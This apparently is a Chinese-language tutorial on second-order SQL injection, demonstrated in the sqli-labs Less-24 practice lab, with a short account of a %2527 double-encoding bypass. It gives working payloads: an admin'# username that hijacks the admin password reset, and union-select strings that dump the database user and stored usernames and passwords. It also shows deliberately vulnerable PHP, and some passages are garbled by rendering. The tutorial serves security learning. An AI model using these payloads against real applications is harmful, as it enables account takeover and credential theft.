SQL注入之二次注入
文章目錄
- SQL注入之二次注入
- 前言
- 一、什麼是二次注入和二次編碼
- 二、二次注入
-
- 1.二次注入方法
- 2.二次注入環境搭建擷取資料庫資訊
- 總結
前言
一、什麼是二次注入和二次編碼
簡單的說,二次注入是指已存儲(資料庫、檔案)的使用者輸入被讀取後再次進入到 SQL 查詢語句中導緻的注入。
網站對我們輸入的一些重要的關鍵字進行了轉義,但是這些我們構造的語句已經寫進了資料庫,可以在沒有被轉義的地方使用
可能每一次注入都不構成漏洞,但是如果一起用就可能造成注入。
普通注入 (1)在http後面構造語句,是立即直接生效的
(2)一次注入很容易被掃描工具掃描到
二次注入 (1) 先構造語句(有被轉義字元的語句)
(2)我們構造的惡意語句存入資料庫
(3)第二次構造語句(結合前面已經存入資料庫的語句,成功。因為系統沒有對已經存入資料庫的資料做檢查)
(4)二次注入更加難以被發現
二次編碼這裡沒有實驗示範,因為靶場沒有相應的練習,我簡單介紹一下什麼是二次編碼和原理吧
之是以有二次編碼注入,是因為當我們輸入%2527的時候,浏覽器會 将%25轉義為%,之後不再進行編碼,是以最後成為了%27,最後讓浏覽器進行載一次編碼,就注入了’ ,之後就可以進行注入了。(%27==')
方法:
在注入點後鍵入%2527,然後按照正常的注入流程開始注入
測試方法
黑盒測試
在可能的注入點後鍵入%2527,之後進行注入測試
白盒測試
1.是否使用urldecode函數
2.urldecode函數是否在轉義方法之後
二、二次注入
1.二次注入方法
我們用sqil-labs24關進行練習,是一個登入界面,随便登入一個使用者admin,出現報錯了。
![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiI2EzX4xSZz91ZsAzNfRHLGZkRGZkRfJ3bs92YsAjMfVmepNHL90zdulVYtkWNT9UUwJjY1I3S0UTQClGVF5UMR9Fd4VGdsATNfd3bkFGazxSUhxGatJGbwhFT1Y0Mk9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnL1UjN0YTMzUzNyYTZwEmY4EzNwQjYlRjN2QDMkVTMzM2Lc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
我們進行重新建立賬号看看,注冊admin’#
賬号注冊成功,重置密碼成功
這是我們看到admin賬号的密碼變為了1234,原來的admin’#密碼重置是從123改為了1234,這就是注入代碼後未經過處理,進而被二次利用注入了,原理就是#号後面的内容被注釋了,‘與前面的’ 閉合了,就直接上傳admin了。
2.二次注入環境搭建擷取資料庫資訊
上面的實驗不是很好的表現二次注入的真實環境,我們進行代碼進行更改,搭建環境進行更深層的練習。
(1)首先我們把users表中的username字段值變大點,便于我們進行注入語句,在mysql終端進行修改
alter table user change usrename varchar(255) character set gbk collate gbk_chinese_ci not null;
(2)增加userlist.php在sqli-labs中24關的目錄下
檔案内容如下:
Document <?php include("../sql-connections/sql-connect.php"); error_reporting(0); $sql="SELECT * FROM users ORDER BY id asc"; $result=mysql_query($sql); $num=mysql_num_rows($result); for($j=0;$j<$num;++$j) { $row=mysql_fetch_array($result); $username=$row[1]; $sql_detail="SELECT * FROM users where username='$username'"; $result_detail=mysql_query($sql_detail); $num_detail=mysql_num_rows($result_detail); for($i=0;$i<$num_detail;++$i) { $row_detail=mysql_fetch_array($result_detail); echo <<
?>
(3)進行實驗練習,先對userlist的代碼進行審計
發現注入的地方
u s e r n a m e = username= username=row[1];
s q l d e t a i l = " S E L E C T ∗ F R O M u s e r s w h e r e u s e r n a m e = ′ sql_detail="SELECT * FROM users where username=' sqldetail="SELECT∗FROMuserswhereusername=′username’"; //注入資訊
在登入界面我們進行注入試試,在注冊頁面進行注冊一個新使用者
1’ union select 1,user(),3#
打開userlist.php
http://192.168.222.4/sqli-labs/Less-24/userlist.php
發現出現了目前使用者的資訊
注入原理很簡單,就是一下的方法進行注入,根據代碼進行注入
$username=1’ union select 1,user(),3#;
$sql_detail=“SELECT * FROM users where username=‘’”;
$sql_detail=“SELECT * FROM users where username=‘1’ union select 1,user(),3#'”;
SELECT * FROM users where username=‘1’ union select 1,user(),3#’
最後執行的就是
union select 1,user(),3#
1,[email protected],3
最後我們再進行一次注入擷取表中的資料,在進行一次注冊
1’ union select 1,(select concat(0x7e,username,0x7e,password) from security.users limit 0,1),3#
成功擷取資料資訊,實驗結束。
總結
本次實驗我們介紹了SQL注入的二次注入的原理和方法,如何在登入界面進行二次注入,在白盒測試下,進行代碼審計,發現注入方式,學會對二次注入的攻擊與利用。